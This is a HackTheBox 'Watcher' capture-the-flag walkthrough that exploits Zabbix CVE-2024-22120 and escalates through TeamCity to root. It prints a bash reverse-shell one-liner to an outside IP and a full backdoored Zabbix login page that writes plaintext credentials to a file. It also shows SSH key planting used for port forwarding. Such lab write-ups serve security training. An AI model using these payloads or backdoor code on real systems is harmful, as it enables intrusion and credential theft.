HackTheBox: Watcher

HackTheBox: Watcher

OS: Linux
Difficulty: Medium
Review: 4.7/5

Description:

Watcher is a medium difficulty Linux box that involves Zabbix and is vulnerable to CVE-2024-22120, which allows an attacker to gain Remote Code Execution. After getting RCE, the attacker discovers that a web app can be backdoored, allowing them to gain credentials for a user account. The user is allowed to access TeamCity, which is running as root, and an agent terminal is active, allowing an attacker to gain a reverse shell as the root user.

Recon:

Before we start cracking away, we can begin with a Rustscan:

rustscan -a $IP -n --ulimit 70000 -t 5000 -- -A -Pn
PORT      STATE SERVICE    REASON  VERSION
22/tcp    open  ssh        syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f0e4e7ae272214090cfe1aaa85a8c3a5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLe4G23mhofbh9QkJbpwdYU9bkQwU1OzjhI532W+vDvTw665KS9+/UWIL42g12FduhjlBMVU9Y5JBahtmRdURZA=
|   256 fda3b9361739251d406d5a0797b34213 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzMnBsy0JnxaClTqbTPmAkINeyTPTXmx75UxniB0FmO
80/tcp    open  http       syn-ack Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://watcher.vl/
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped syn-ack
10051/tcp open  tcpwrapped syn-ack
46003/tcp open  java-rmi   syn-ack Java RMI
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Based on the ports present, this appears to be a web-based box, which means it could involve one of the following scenarios:

  • A web-based data disclosure leading to SSH access
  • A web exploit leading to shell access
  • A combination of the two approaches listed above.

Web enumeration:

The site itself appears to be a SIEM-adjacent platform:

Main page

Nothing really stood out, so we can move on to running FFUF:

FFuF:

The main output item that gives us progress is the VHOST, which we can add to our /etc/hosts file.

/etc/hosts

Zabbix:

Navigating to the site, we can see that guests are able to log in.

Guest Login

To my surprise, when signing in as a guest, we are given access to the Zabbix dashboard.

Zabbix Dashboard

Reviewing the dashboard further, we can see the version is 7.0.0alpha1.

Version

Google fu:

Researching this version, I found two possible avenues to explore:


Initial Access (CVE-2024-22120):

Using the CVE-2024-22120 POC, we can achieve RCE.

  1. First, we need a session ID, which we can obtain from the cookie.
Finding the session ID
  1. Next, we need the host ID, which can be found during a page refresh.
Finding the Host ID
  1. Next, we can use this data to obtain a Zabbix shell.
python CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid <...> --hostid <..>
Zabbix Shell
  1. With RCE established, we can gain a full shell by leveraging curl to execute a shell script on the host.
Gaining an full shell

rev.sh contents

/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.111/443 0>&1"


Low level access:

Automated tools including PEAS and LSE did not yield any useful data, so we need to review manually.

Checking /etc/apache2/sites-enabled, we can see where Zabbix is living at /usr/share/zabbix.

/etc/apache2/sites-enabled

Within the configuration file, we can see a database password.

Configuration file

Checking the database, we can enumerate user hashes, however these hashes will not crack.

mysql -u zabbix -p

At this point I was stumped, and after a day I took a peek at a nudge and saw that we can modify the index.php page, which can allow us to capture a clear text password for Frank.

#Backdoored index.php
<?php
/*
** Zabbix
** Copyright (C) 2001-2023 Zabbix SIA
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
**/


require_once dirname(__FILE__).'/include/classes/user/CWebUser.php';

require_once dirname(__FILE__).'/include/config.inc.php';
require_once dirname(__FILE__).'/include/forms.inc.php';

$page['title'] = _('ZABBIX');
$page['file'] = 'index.php';

// VAR	TYPE	OPTIONAL	FLAGS	VALIDATION	EXCEPTION
$fields = [
    'name' =>		[T_ZBX_STR, O_NO,	null,	null,	'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"', _('Username')],
    'password' =>	[T_ZBX_STR, O_OPT, P_NO_TRIM,	null,	'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"'],
    'sessionid' =>	[T_ZBX_STR, O_OPT, null,	null,	null],
    'reconnect' =>	[T_ZBX_INT, O_OPT, P_SYS,	null,	null],
    'enter' =>		[T_ZBX_STR, O_OPT, P_SYS,	null,	null],
    'autologin' =>	[T_ZBX_INT, O_OPT, null,	null,	null],
    'request' =>	[T_ZBX_STR, O_OPT, null,	null,	null],
    'form' =>		[T_ZBX_STR, O_OPT, null,	null,	null]
];
check_fields($fields);

if (hasRequest('reconnect') && CWebUser::isLoggedIn()) {
    if (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED) {
        $provisioning = CProvisioning::forUserDirectoryId(CAuthenticationHelper::getSamlUserdirectoryid());
        $saml_config = $provisioning->getIdpConfig();

        if ($saml_config['slo_url'] !== '' && CSessionHelper::has('saml_data')) {
            redirect('index_sso.php?slo');
        }
    }

    CWebUser::logout();
    redirect('index.php');
}

$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
$request = getRequest('request', '');

if ($request !== '' && !CHtmlUrlValidator::validateSameSite($request)) {
    $request = '';
}

if (!hasRequest('form') && CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED
        && CAuthenticationHelper::get(CAuthenticationHelper::HTTP_LOGIN_FORM) == ZBX_AUTH_FORM_HTTP
        && !hasRequest('enter')) {
    redirect('index_http.php');
}

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
    CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);

    // Backdoor
        $file = fopen("creds.txt", "a+");
 		fputs($file, "Username: {$_POST['name']} | Password: {$_POST['password']}\n");
 		header("Location: http://127.0.0.1/index.php");
 		fclose($file);

    if (CWebUser::$data['autologin'] != $autologin) {
        API::User()->update([
            'userid' => CWebUser::$data['userid'],
            'autologin' => $autologin
        ]);
    }

    $redirect = array_filter([CWebUser::isGuest() ? '' : $request, CWebUser::$data['url'], CMenuHelper::getFirstUrl()]);
    redirect(reset($redirect));
}

if (CWebUser::isLoggedIn() && !CWebUser::isGuest()) {
    redirect(CWebUser::$data['url'] ? : CMenuHelper::getFirstUrl());
}

$messages = get_and_clear_messages();

echo (new CView('general.login', [
    'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
        ? (new CUrl('index_http.php'))->setArgument('request', getRequest('request'))
        : '',
    'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
        ? (new CUrl('index_sso.php'))->setArgument('request', getRequest('request'))
        : '',
    'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
    'autologin' => $autologin == 1,
    'error' => (hasRequest('enter') && $messages) ? array_pop($messages) : null
]))->getOutput();

session_write_close();

After some time, we will get a hit with some credentials in the creds.txt file.

Stolen credentials

We have credentials but nowhere to use them, which led me to look at the network where port 8111 was standing out.

Port 8111 listening

Running curl, this appears to be TeamCity, however we will need to port forward to gain proper access.

Curling Teamcity

Pivoting:

To port forward, we can drop our public key from Kali into the Zabbix home directory (/var/lib/zabbix) to gain SSH access for port forwarding.

mkdir .ssh
echo 'ssh-rsa .....' > .ssh/authorized_keys
chmod 700 .ssh/
chmod 600 .ssh/authorized_keys
SSH key setup

Using this key from Kali, we get a unique error as the account is not available.

SSH logon attempt error

Though we cannot log in, this does not mean we are dead in the water. We can use -N to not execute remote commands or open a session, and then add -L to set up the local port forward.

ssh zabbix@10.129.234.163 -i .ssh/id_rsa -N -L 8111:localhost:8111

Once set up, we can see that we have access to TeamCity.

Teamcity login page

Privilege Escalation:

  1. Using Frank's credentials, I was able to log in.
Logging in as frank
  1. Within the application, we can see that there is an option to connect to the agent as root.
Root access
📚
The information within this article is intended solely for educational purposes. It is crucial that the techniques and methodologies discussed should only be used for educational and ethical purposes. They should never be leveraged in a manner that could cause unlawful harm or infringe upon the rights, security, or privacy of others. It is essential for anyone engaging with this content to approach it with a mindset of learning and understanding, ensuring that knowledge gained is used responsibly and ethically.